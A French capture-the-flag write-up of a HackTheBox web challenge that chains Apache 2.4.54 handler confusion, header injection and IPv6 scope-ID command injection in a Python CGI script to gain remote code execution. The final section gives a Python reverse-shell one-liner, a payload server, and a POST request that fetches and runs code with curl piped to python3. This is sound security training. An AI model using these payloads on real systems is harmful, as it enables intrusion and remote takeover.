Apache 2.4.54 exploitation (cyberattack)

La semaine dernière j’ai eu l’occasion de participer au CTF Cyber Apocalypse de Hackthebox dans ma toute nouvelle équipe, j’ai nommé « Subscale ». À cette occasion je vous ai rédigé 3 writeups sur les challenges que j’ai préférés. Mais trêve de blabla, rentrons dans le vif du sujet !

Le challenge

Pour ce premier writeup je vous propose un challenge WEB noté facile qui m’a un peu donné du fil à retordre. Au programme, exploitation de la version 2.4.54 d’apache, et de la librairie ipaddress de Python. Le but est de lire un fichier à la racine /flag<nombre aléatoire>.txt.

NB : Je remercie @slivtamere, avec qui j’ai travaillé sur ce challenge.

Le challenge propose une interface WEB pour « attaquer » un domaine ou une IP avec un « Ping of death », une attaque un peu archaïque aujourd’hui démodée. Pour lancer l’attaque, on rentre une IP ou un nom de domaine dans l’interface et on clique sur le bouton correspondant, comme on peut le voir sur la capture ci-dessous.

La page, codée en PHP, redirige ensuite l’utilisateur vers un des deux scripts Python attack-ip, attack-domain situé dans le répertoire /cgi-bin/ avec les deux arguments name et target passé dans l’URL. Exemple : /cgi-bin/attack-domain?target=google.com&name=hackeur_de_lespace. Je vous mets ci-dessus les codes des deux scripts :

  • attack-domain
#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
    
elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    print(f'Location: ../?error=Hey {name}, watch it!')
    
print('Content-Type: text/html')
print()
  • Attack-ip
#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')
    
print('Content-Type: text/html')
print()

Le petit quack : on ne peut pas directement utiliser le script attack-ip à cause de la configuration Apache.

ServerName CyberAttack 

AddType application/x-httpd-php .php

&lt;Location "/cgi-bin/attack-ip"> 
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
&lt;/Location>

Cette dernière bloque les requêtes n’ayant pas comme source une loopback. Comme on est dans un challenge et que le but est de braver tous les interdits, on présume qu’il nous faut trouver un moyen pour contourner cette protection. Pour cela, il n’y a pas beaucoup de solutions, mises à part exploiter une vulnérabilité de type SSRF.

Une SSRF, keskeucé ?

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.

Source: PortSwigger

A la recherche de la SSRF

C’est là que j’ai un peu trimé. La version d’Apache est relativement vieille, et surtout très vulnérable (d’après Google).

Clairement, Google essaie de nous mettre en garde. Comme le challenge est en whitebox (on dispose du code de l’application), on peut aisément débugger en faisant tourner l’application en local. En jouant un peu avec le script attack-domain, on remarque des choses qui sortent de l’ordinaire.

  • La méthode HTTP importe peu

En effet, je vous ai dit que la page PHP redirigeait vers les scripts python de /cgi-bin/ en passant ces arguments dans l’URL (HTTP GET). Mais on peut également les passer en POST, avec le content-type que l’on souhaite. Pas une vuln en soi, mais ça nous facilite un peu la tâche.

  • Les entêtes HTTP sont réfléchis dans la réponse

Comme on a, dans le code de attack-domain :

print(f'Location: ../?error=Hey {name}, watch it!')

On peut se demander à juste titre ce qu’il se passerait si j’injecte des retours à la ligne dans le paramètre name. La réponse va vous glacer le sang (pas sure).

Ca plante. Plus précisément, on remarque qu’Apache à rencontré une erreur lors du traitement de notre requête.

Debug d’Apache en local

Il n’a pas compris comment interpréter le header dd. C’est normal, car un header est de la forme header_name:header_value. C’est très bon signe pour nous.

Là ça marche. On a réussi à réfléchir les header passés en paramètre dans la réponse. Mais ce n’est toujours pas une SSRF. Le problème est que les headers sont simplement réfléchis dans la réponse HTTP, mais pas interprétés côté serveur.

En creusant un peu plus les recherches sur Internet, on fini par tomber sur l’article Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! de Orange Tsai (que je vous invite à lire), qui nous explique qu’on peut réussir à mener à bien notre attaque SSRF (3. Handler Confusion > Primitive 3-2. Invoke Arbitrary Handlers).

D’abord, quelques notions élémentaires sur Apache2. Les handlers sur Apache2, keskeucé ?

Les handlers sur Apache2 sont des modules qui définissent la manière dont le serveur doit traiter certains types de fichiers ou requêtes. Ils permettent d’associer des types de contenu à des modules spécifiques pour l’exécution.
Exemples courants
mod_php → Gère l’exécution des scripts PHP.
mod_cgi → Exécute des scripts CGI.
mod_proxy → Gère le proxy des requêtes vers un autre serveur.

Par exemple, dans notre cas, c’est le handler mod_php qui gère le traitement de la requête pour notre page PHP. Il permet d’interpréter le code PHP qui s’y situe. Pour les scripts Python situé dans /cgi-bin/, c’est le handler mod_cgi qui s’en occupe. On peut voir les handlers activés dans /etc/apache2/mods-enabled.

Interpréter nos redirections côté serveur

Si je reprends l’article d’Orange TSAI,

Initially, mod_cgi executes[1] CGI and scans its output to set the corresponding headers such as Status and Content-Type. If[2] the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed[3] internally.

Article confusion-attacks de Orange TSAI

Il nous indique que lorsque un script cgi renvoie une requête disposant d’un header Location commençant par un /, il est traité comme une redirection interne (donc côté serveur) et est donc interprété ! En effet, si on reprend le code de attack-domain,

print(f'Location: ../?error=Hey {name}, watch it!')

Le header location commence par ../, c’est pour ça qu’il est interprété coté client, et est donc juste retransmis par le serveur. Un petit test rapide :

Le header Location commence par un /, donc pas de redirection côté client (302) ce coup-ci, le serveur s’en est chargé pour nous. Pas mal, c’est gentil de sa part.

Et la SSRF ?

Toujours pas de SSRF en vue pour l’instant, mais ça ne serait tarder. Intéressons-nous sur la manière dont Apache2 gère ses redirections internes.

Surprenant n’est ce pas ? Cette page qui affiche l’état en tant réel n’est normalement accessible qu’en local, via l’endpoint /server-status. En réalité ça s’explique facilement : on a fixé le content-type à server-status, ce qui indique à Apache2 d’utiliser le handler server-status lorsqu’il fait sa redirection interne.
Si on regarde la configuration de status.conf, c’est exactement ce qu’il fait en interne lorsque navigue sur l’endpoint /server-status.

// /etc/apache2/mods-enabled/status.conf
...
        &lt;Location /server-status>
                SetHandler server-status &lt;= ici
                Require local
                #Require ip 192.0.2.0/24
        &lt;/Location>
...

C’est ce qu’explique Orange TSAI dans son article. En quoi ça nous est utile ? On peut arbitrairement faire appel à n’importe quel handler, comme la handler proxy par exemple, qui permet de rediriger des requêtes.

Victoire. En précisent l’utilisation du handler proxy et en lui indiquant l’adresse de la ressource à contacter, j’arrive enfin à exploiter une vulnérabilité SSRF.

RCE

Maintenant il nous faut lire le fichier /flag<nombre aléatoire>.txt. Deux possibilités, obtenir une primitive permettant de lister les fichiers puis de les lire, ou tout simplement obtenir une RCE.

Une RCE (Remote Code Execution) est une vulnérabilité qui permet à un attaquant d’exécuter du code arbitraire à distance sur un système cible.

Je n’en ai pas parlé au début de mon article, mais vous avez surement remarqué que les deux scripts Python du cgi-bin exécutent une commande système.

  • attack-domain
def is_domain(target):
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
...
elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') 

Ici pour pouvoir exécuter une commande arbitraire il nous faudrait une payload qui valide le REGEX « ^(?!-)[a-zA-Z0-9-]{1,63}(?<!-).[a-zA-Z]{2,63}$ », qui s’occupe de vérifier si l’argument fourni a bien la forme d’un nom de domaine. Seulement ce REGEX est sécurisé, l’option MULTILINE n’est pas passée à la méthode match du module re, donc pas d’exploitation possible à ce niveau-là.

  • Attack-ip

La vérification du paramètre est légèrement différentes dans ce script car elle ne se base pas sur un REGEX mais sur la librairie ipaddress de Python, avec une structure try et except en guise de vérification.

try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')

Les IPv4 sont limitées à un tout petit charset (les chiffres de 0 à 9 et les ., exemple: 192.168.1.1), mais les IPv6 ont un format un peu plus complexe (exemple : fe80::1%eth0). Intéressons-nous au caractère %.

Le % dans une adresse IPv6 est utilisé pour spécifier une zone d’interface (ou scope ID) lorsqu’on utilise des adresses link-local (fe80::/10).

En tâtonnent on s’aperçoit qu’on a un charset plutôt pas mal si l’on rentre une adresse IPv6 suivie d’un % : les caractères alphanumériques : . $ ( | et l’espace. Pas de /, mais c’est suffisant pour obtenir un shell.

Exploitation finale

Je commence par mettre en place un petit serveur HTTP qui renverra le contenue du fichier shell peu importe la requête qu’il reçoit.

import os
from http.server import SimpleHTTPRequestHandler, HTTPServer

class MyHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        # Spécifiez ici le chemin du fichier shell que vous souhaitez renvoyer
        shell_file_path = 'shell'

        if os.path.exists(shell_file_path):
            with open(shell_file_path, 'r') as file:
                content = file.read()

            # Renvoyer le contenu du fichier
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write(content.encode())
        else:
            # Si le fichier n'existe pas
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"File not found")

def run(server_class=HTTPServer, handler_class=MyHandler, port=8080):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting server on port {port}...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

Je fais un petit reverse shell en python (on sait que python est installé sur la machine pour utiliser les scripts cgi).

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ohohoh.hack",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Je me mets en écoute sur le port que j’ai choisis (nc -lvp 1234), et j’envoie ma payload finale :

POST /cgi-bin/attack-domain HTTP/1.1
Host: test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 371

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="target"

value1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="name"


Location: /ohohoh
Content-Type:proxy:http://localhost/cgi-bin/attack-ip?name=&amp;target=2001:db8::%$(curl+ohohoh.hack:8080|python3)&amp;dada=dd?&amp;


------WebKitFormBoundary7MA4YWxkTrZu0gW

L’adresse IPv6 que j’envoie est 2001:db8::%$(curl+ohohoh.hack:8080|python3). Elle exécute la commande curl pour se connecter sur mon C2 et récupérer le code Python du reverse shell via mon mini serveur HTTP, puis exécute le code en l’envoyant en entrée à l’interpréteur Python via un pipe (|).

On peut maintenant lire le fichier flag à la racine 🥳.